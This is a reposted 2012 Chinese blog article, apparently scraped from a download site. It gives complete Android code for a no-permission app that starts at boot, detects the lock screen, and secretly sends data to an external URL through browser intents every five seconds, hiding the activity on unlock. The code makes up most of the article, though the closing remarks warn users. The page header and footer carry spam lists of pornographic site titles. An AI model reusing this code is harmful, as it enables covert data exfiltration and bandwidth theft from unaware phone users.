变态重口极致另类在线-波多久久夜色精品国产-波多野结衣在线观看一区-波多野结衣在线观看一区二区-污污的网站免费阅读-污污视频网址

東坡下載:內(nèi)容最豐富最安全的下載站!

首頁(yè)最新資訊 → 拋磚引玉之誰(shuí)動(dòng)了我的流量(0權(quán)限上傳數(shù)據(jù))

拋磚引玉之誰(shuí)動(dòng)了我的流量(0權(quán)限上傳數(shù)據(jù))

相關(guān)文章發(fā)表評(píng)論 來(lái)源:本站時(shí)間:2012/1/14 10:40:08字體大小:A-A+

作者:點(diǎn)擊:373次評(píng)論:1次標(biāo)簽:

上次寫(xiě)過(guò)一篇文章  拋磚引玉 之 誰(shuí)動(dòng)了我的隱私(android用戶(hù)隱私窺探) 描述如何讀取系統(tǒng)log緩沖區(qū)但還存在權(quán)限提示問(wèn)題。

 

這次來(lái)個(gè)稍微好點(diǎn)的,真正的0權(quán)限上傳數(shù)據(jù)

同上次講的一樣,雖然大部分用戶(hù)在安裝app時(shí)對(duì)權(quán)限警告視而不見(jiàn),但相信以后用戶(hù)會(huì)對(duì)權(quán)限問(wèn)題越來(lái)越重視的。

這次咱們先真正的來(lái)一次0權(quán)限上傳熱熱身。

 

一、原理

首先利用的還是那個(gè)開(kāi)機(jī)啟動(dòng)bug。

然后,在手機(jī)鎖屏時(shí)上傳數(shù)據(jù)。

如何上傳數(shù)據(jù)呢,為了避免權(quán)限咱們得瞞天過(guò)海。

 

我們知道,在Intent轉(zhuǎn)向的時(shí)候,可以轉(zhuǎn)到標(biāo)記為ACTION_VIEW的activity,而瀏覽器都有這個(gè)標(biāo)記,可以傳一個(gè)uri過(guò)去。

soga,說(shuō)到這里,,明白了吧。就是使用http的GET傳參,雖然只能傳明文,但已經(jīng)夠了,更何況一次能傳輸?shù)淖止?jié)也還是很客觀的。

至于傳什么,每個(gè)想實(shí)現(xiàn)這種功能的人都有其目的吧。

 

二、實(shí)現(xiàn)

首先是清單文件,不需要聲明任何權(quán)限,只需要寫(xiě)一個(gè)廣播接收者和一個(gè)服務(wù)即可

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package
="org.igeek.hack"
android:versionCode
="1"
android:versionName
="1.0">
<uses-sdk android:minSdkVersion="8" />


<application android:icon="@drawable/icon" android:label="@string/app_name">

<receiver android:name =".reciver.HackReceiver">
<intent-filter android:priority ="1000">
<action android:name ="android.intent.action.BOOT_COMPLETED"/>
</intent-filter >
</receiver >

<service android:name=".service.HackerService"/>

</application>
</manifest>

 

然后就是廣播接收者的實(shí)現(xiàn),很簡(jiǎn)單,單純的開(kāi)啟一個(gè)服務(wù)

package org.igeek.hack.reciver;

import org.igeek.hack.service.HackerService;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

/**
*
@author 作者 E-mail:hangxin1940@gmail.com
*
@version 創(chuàng)建時(shí)間:2012-01-13 下午10:32:21
* 類(lèi)說(shuō)明
*/
public class HackReceiver extends BroadcastReceiver {


@Override
public void onReceive(Context context, Intent intent) {
Intent it=new Intent(context, HackerService.class);
context.startService(it);
}


}


 最后,就是關(guān)鍵部分,服務(wù)的實(shí)現(xiàn)
 

  1 package org.igeek.hack.service;
2
3 import java.util.Random;
4 import android.app.KeyguardManager;
5 import android.app.Service;
6 import android.content.BroadcastReceiver;
7 import android.content.Context;
8 import android.content.Intent;
9 import android.content.IntentFilter;
10 import android.net.Uri;
11 import android.os.Handler;
12 import android.os.IBinder;
13 import android.util.Log;
14
15 /**
16 *
17 * @author 作者 E-mail:hangxin1940@gmail.com
18 * @version 創(chuàng)建時(shí)間:2012-01-13 下午10:42:11
19 * 類(lèi)說(shuō)明
20 */
21 public class HackerService extends Service {
22 private ScreenOnBroadcastReciver soReciver;
23 private ScreenOFFBroadcastReciver sfReciver;
24 private Handler handler;
25
26 final static String LOG_TAG="hack";
27 KeyguardManager keyguardManager;
28 Intent it;
29
30 //GET提交地址
31 final String HACK_URL="http://www.igeek.org/hack?info=";
32
33
34
35 private Runnable r=new Runnable() {
36
37 @Override
38 public void run() {
39
40
41 //如果是鎖屏狀態(tài)
42 if(keyguardManager.inKeyguardRestrictedInputMode()){
43
44 //GET上傳,內(nèi)容隨你
45 String hackInfo="hack!!!!your information!!!!!!!&r="+new Random().nextFloat();
46
47 it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
48 Uri uri=Uri.parse(HACK_URL+hackInfo);
49 it.setData(uri);
50 startActivity(it);
51 Log.i(LOG_TAG,"提交數(shù)據(jù)->"+HACK_URL+hackInfo);
52
53 //每隔5秒,執(zhí)行一次上傳
54 handler.postDelayed(r, 5000);
55 }
56 }
57 };
58
59
60
61 @Override
62 public void onStart(Intent intent, int startId) {
63 super.onStart(intent, startId);
64
65 keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
66 it=new Intent(Intent.ACTION_VIEW);
67
68 handler=new Handler();
69
70 Log.i(LOG_TAG, "開(kāi)機(jī)完成,注冊(cè)廣播接收者");
71 soReciver=new ScreenOnBroadcastReciver();
72 sfReciver=new ScreenOFFBroadcastReciver();
73
74 IntentFilter onIntentFilter = new IntentFilter("android.intent.action.SCREEN_ON");
75 registerReceiver(soReciver, onIntentFilter);
76
77 IntentFilter offIntentFilter = new IntentFilter("android.intent.action.SCREEN_OFF");
78 registerReceiver(sfReciver, offIntentFilter);
79 }
80
81
82 @Override
83 public IBinder onBind(Intent intent) {
84 return null;
85 }
86
87 /**
88 * 解鎖廣播接收者
89 * @author hang
90 *
91 */
92 class ScreenOnBroadcastReciver extends BroadcastReceiver {
93
94 @Override
95 public void onReceive(Context context, Intent intent) {
96
97 Log.i(LOG_TAG, "屏幕解開(kāi)");
98 handler.removeCallbacks(r);
99 intent.setAction(Intent.ACTION_MAIN);
100 intent.addCategory(Intent.CATEGORY_HOME);
101 intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
102
103 Log.i(LOG_TAG, "轉(zhuǎn)向HOME");
104 startActivity(intent);
105
106 }
107
108 }
109
110 /**
111 * 鎖屏廣播接收者
112 * @author hang
113 *
114 */
115 class ScreenOFFBroadcastReciver extends BroadcastReceiver {
116
117 @Override
118 public void onReceive(final Context context, Intent intent) {
119
120
121
122 Log.i(LOG_TAG, "屏幕鎖住");
123
124 //500ms后開(kāi)始執(zhí)行上傳數(shù)據(jù)
125 handler.postDelayed(r, 500);
126 }
127
128 }
129 }

 

三、效果

哈,運(yùn)行下試試,關(guān)機(jī)。。。開(kāi)機(jī)。。。鎖屏。。解鎖。。沒(méi)發(fā)現(xiàn)什么反應(yīng)啊。。。再看看程序管理。。Hack程序也沒(méi)有任何權(quán)限提示啊。。。

 

真的這樣嗎?來(lái)看看log

you see? 流量就這么悄悄的耗了。

 

本工程包地址:hack_0p_upload.zip

 

結(jié)束語(yǔ)

這么流氓的伎倆,相信誰(shuí)都不想碰到,google market也混亂的一塌糊涂,android app混亂的不成樣子,大家還是擦亮雙眼,安全,一定要注意的。

另外,關(guān)于開(kāi)機(jī)啟動(dòng)的這個(gè)bug,貌似360的手機(jī)安全軟件可以檢測(cè)出來(lái)。其它的我沒(méi)試,因?yàn)槲液軕校覐膩?lái)不裝安全軟件。

 

相關(guān)評(píng)論

閱讀本文后您有什么感想? 已有 人給出評(píng)價(jià)!

  • 2791 喜歡喜歡
  • 2101 頂
  • 800 難過(guò)難過(guò)
  • 1219 囧
  • 4049 圍觀圍觀
  • 5602 無(wú)聊無(wú)聊
熱門(mén)評(píng)論
最新評(píng)論
發(fā)表評(píng)論 查看所有評(píng)論(1)
昵稱(chēng):
表情: 高興 可 汗 我不要 害羞 好 下下下 送花 屎 親親
字?jǐn)?shù): 0/500 (您的評(píng)論需要經(jīng)過(guò)審核才能顯示)

本類(lèi)常用軟件

主站蜘蛛池模板: 国产精品久久久久无毒 | 国产欧美成人免费观看 | 在线欧美日韩国产 | 性欧洲黑人巨大videos | 国产伦久视频免费观看 视频 | 亚洲第一天堂无码专区 | 日韩三级在线 | 欧美一区二区影院 | 毛片大全高清免费 | 中文字幕丝袜美腿 | 日本爽p大片免费观看 | 激情黄网| 亚洲伦理 | 一卡二卡在线 | 射狠狠 | 日韩一区二区三区在线免费观看 | 国产高清精品久久久久久久 | 色射视频| www.99色| 欧美色图亚洲综合 | 黄色影院网站 | 天天躁日日躁狠狠躁黑人躁 | 久久精品免费全国观看国产 | 国产一区免费在线观看 | 天天干天天爽天天操 | 日日干天天草 | 欧美国产三级 | 露脸国产精品自产在线播 | 亚州人成网在线播放 | 午夜精品久久久久久影视riav | 一级毛片成人免费看免费不卡 | 精品视频一区二区三区四区 | 激情图片五月天 | 欧美一级片在线观看 | 丁香六月在线视频 | 亚洲 欧美 日韩在线综合福利 | 日本理论午夜中文字幕第一页 | 欧美日韩一区二区综合 | 女人色极影院 | 国产精品成人观看视频免费 | 中文国产成人精品久久久 |